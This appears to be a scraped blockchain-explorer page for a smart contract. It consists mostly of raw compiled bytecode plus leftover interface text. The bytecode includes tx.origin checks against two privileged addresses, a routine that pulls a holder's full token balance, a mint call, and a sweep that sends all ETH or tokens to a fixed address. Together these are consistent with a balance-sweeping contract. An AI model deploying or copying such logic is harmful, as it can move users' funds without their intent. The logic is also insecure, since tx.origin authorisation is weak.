660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166370a082315f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401610baf919061143a565b602060405180830381865afa158015610bca573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bee919061147d565b6040518563ffffffff1660e01b8152600401610c0d9493929190611815565b6020604051808303815f875af1158015610c29573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4d9190611882565b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f195f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610cba9190611379565b6064610cc691906113c3565b6040518363ffffffff1660e01b8152600401610ce3929190611413565b5f604051808303815f87803b158015610cfa575f5ffd5b505af1158015610d0c573d5f5f3e3d5ffd5b505050505050565b5f5f915091565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610dc657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc906111f6565b60405180910390fd5b5050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610eb457508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea906111f6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbe575f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051610f6c906118da565b5f6040518083038185875af1925050503d805f8114610fa6576040519150601f19603f3d011682016040523d82523d5f602084013e610fab565b606091505b5050905080610fb8575f5ffd5b506110bf565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611035919061143a565b602060405180830381865afa158015611050573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611074919061147d565b6040518363ffffffff1660e01b8152600401611091929190611413565b5f604051808303815f87803b1580156110a8575f5ffd5b505af11580156110ba573d5f5f3e3d5ffd5b505050505b5050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110f0826110c7565b9050919050565b611100816110e6565b811461110a575f5ffd5b50565b5f8135905061111b816110f7565b92915050565b5f60208284031215611136576111356110c3565b5b5f6111438482850161110d565b91505092915050565b5f8115159050919050565b6111608161114c565b82525050565b61116f816110e6565b82525050565b5f6040820190506111885f830185611157565b6111956020830184611166565b9392505050565b5f82825260208201905092915050565b7f4f4e4c59204433204f52204f574e0000000000000000000000000000000000005f82015250565b5f6111e0600e8361119c565b91506111eb826111ac565b602082019050919050565b5f6020820190508181035f83015261120d816111d4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156112965780860481111561127257611271611214565b5b60018516156112815780820291505b808102905061128f85611241565b9450611256565b94509492505050565b5f826112ae5760019050611369565b816112bb575f9050611369565b81600181146112d157600281146112db5761130a565b6001915050611369565b60ff8411156112ed576112ec611214565b5b8360020a91508482111561130457611303611214565b5b50611369565b5060208310610133831016604e8410600b841016171561133f5782820a90508381111561133a57611339611214565b5b611369565b61134c848484600161124d565b9250905081840481111561136357611362611214565b5b81810290505b9392505050565b5f819050919050565b5f61138382611370565b915061138e83611370565b92506113bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461129f565b905092915050565b5f6113cd82611370565b91506113d883611370565b92508282026113e681611370565b915082820484148315176113fd576113fc611214565b5b5092915050565b61140d81611370565b82525050565b5f6040820190506114265f830185611166565b6114336020830184611404565b9392505050565b5f60208201905061144d5f830184611166565b92915050565b61145c81611370565b8114611466575f5ffd5b50565b5f8151905061147781611453565b92915050565b5f60208284031215611492576114916110c3565b5b5f61149f84828501611469565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114df82611370565b91506114ea83611370565b9250826114fa576114f96114a8565b5b828204905092915050565b5f6060820190506115185f830186611166565b6115256020830185611166565b6115326040830184611404565b949350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61157c8261153a565b6115868185611544565b9350611596818560208601611554565b61159f81611562565b840191505092915050565b5f60a0820190506115bd5f830188611166565b6115ca6020830187611166565b6115d76040830186611404565b6115e46060830185611166565b81810360808301526115f68184611572565b90509695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611638816110e6565b82525050565b5f82825260208201905092915050565b5f6116588261153a565b611662818561163e565b9350611672818560208601611554565b61167b81611562565b840191505092915050565b61168f81611370565b82525050565b5f61ffff82169050919050565b6116ab81611695565b82525050565b5f61010083015f8301516116c75f86018261162f565b5060208301516116da602086018261162f565b50604083015184820360408601526116f2828261164e565b9150506060830151611707606086018261162f565b50608083015161171a6080860182611686565b5060a083015161172d60a08601826116a2565b5060c083015184820360c0860152611745828261164e565b91505060e083015161175a60e086018261162f565b508091505092915050565b5f819050919050565b5f63ffffffff82169050919050565b5f819050919050565b5f6117a061179b61179684611765565b61177d565b61176e565b9050919050565b6117b081611786565b82525050565b5f60a0820190506117c95f830188611166565b6117d66020830187611404565b81810360408301526117e88186611572565b905081810360608301526117fc81856116b1565b905061180b60808301846117a7565b9695505050505050565b5f6080820190506118285f830187611166565b6118356020830186611166565b6118426040830185611166565b61184f6060830184611404565b95945050505050565b6118618161114c565b811461186b575f5ffd5b50565b5f8151905061187c81611858565b92915050565b5f60208284031215611897576118966110c3565b5b5f6118a48482850161186e565b91505092915050565b5f81905092915050565b50565b5f6118c55f836118ad565b91506118d0826118b7565b5f82019050919050565b5f6118e4826118ba565b915081905091905056fea2646970667358221220813e89dc327aa988ac96ac21f6237872d4ba171fee5e67893cb61e349e76de1964736f6c634300081f0033
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.